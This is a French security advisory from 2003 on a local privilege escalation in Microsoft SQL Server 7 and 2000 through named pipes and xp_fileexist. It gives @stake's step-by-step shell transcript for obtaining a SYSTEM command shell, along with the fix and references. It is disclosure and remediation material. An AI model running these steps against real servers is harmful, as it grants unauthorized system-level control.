| 
                        
                          | Microsoft SQL Server Named Pipe Privilege Escalation |   Date de Publication: 2003-07-11Titre: Microsoft SQL Server Named Pipe Privilege Escalation
 K-Otik ID : 0240
 Exploitable à distance : Non
 Exploitable en local : Oui
 
 
                        
                          |  |  * Description Technique - Exploit *
 Une vulnérabilité touche Microsoft SQL Server, elle pourrait être exploitée par un attaquant local afin d'élever ses privilèges. Cette vulnérabilité est due à une erreur dans l'API "CreateFile" : Un attaquant peut créer un named pipe server avec un nom arbitraire, puis exécuter xp_fileexist avec comme argument le nom UNC du pipe crée (\\servername\pipe\pipename).
 |  ------------ Exemple Publié par @stake  ---------------shell #1: Tapez
 
 C:\>mssqlpipe.exe cmd.exe
 Creating pipe: \\.\Pipe\Nom
 Pipe created, waiting for connection
 Se Connectez à la base et exécuter :
 xp_fileexist '\\SERVERNAME\pipe\Nom'
 
 Puis sur le shell #2: Tapez
 
 C:\>isql -U Utilisateur
 Password:
 1> xp_fileexist '\\TEMP123\pipe\Nom'
 2> go
 File Exists File is a Directory Parent Directory Exists
 ----------- ------------------- --------------------------
 1                   0                       1
 
 Puis retourner au shell #1, qui permet l'exécution du
 cmd.exe avec les privilèges SYSTEM.
 -------------------------------------------------------------
 
 
 * Versions Vulnérables *
 
 Microsoft SQL Server 2000
 Microsoft SQL Server 7
 
 
 * Solution *
 
 Windows 2000 Service Pack 4
 http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp
 
 
 * Références *
 
 http://www.atstake.com/research/advisories/2003/a070803-1.txt
 http://support.microsoft.com/default.aspx?scid=kb;[LN];821546
 
 
 * Crédits *
 
 Failles découverte par Andreas Junestam de @stake (Juillet 2003).
 
 
 |